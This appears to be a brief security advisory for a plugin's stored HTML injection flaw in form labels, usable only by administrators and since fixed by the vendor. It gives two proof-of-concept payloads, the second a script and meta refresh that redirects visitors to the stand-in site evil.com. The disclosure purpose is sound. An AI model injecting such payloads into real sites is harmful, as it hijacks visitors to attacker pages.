Description The plugin does not sanitize and escape its label fields, which could allow high privilege users such as admin to perform Stored HTML injection. Only users with the unfiltered_html capability can perform this, and such users are already allowed to use JS in posts/comments etc however the vendor acknowledged and fixed the issue

Put the following code in any form field (for example name, email, message etc) labels:

<!DOCTYPE html> <html> <head> <style> @keyframes moving {     0% { transform: translateX(0); }     50% { transform: translateX(100px); }     100% { transform: translateX(0); } }  .horizontal-text {     display: inline-block;     animation: moving 2s infinite linear; } </style> </head> <body>     <div class="horizontal-text">Sam</div> </body> </html>

or 

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta http-equiv="refresh" content="0; URL=https://evil.com">
</head>
<body>
  <script>
    window.location.href = "https://evil.com";
  </script>
</body>
</html>
